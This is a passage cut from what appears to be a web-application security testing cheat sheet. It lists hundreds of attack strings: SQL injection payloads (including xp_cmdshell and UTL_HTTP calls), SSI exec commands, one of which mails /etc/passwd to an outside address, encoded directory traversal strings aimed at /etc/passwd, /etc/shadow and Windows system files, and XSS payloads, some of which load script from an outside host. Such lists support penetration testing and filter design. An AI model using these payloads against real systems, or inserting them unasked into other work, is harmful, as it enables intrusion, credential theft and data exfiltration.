')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML 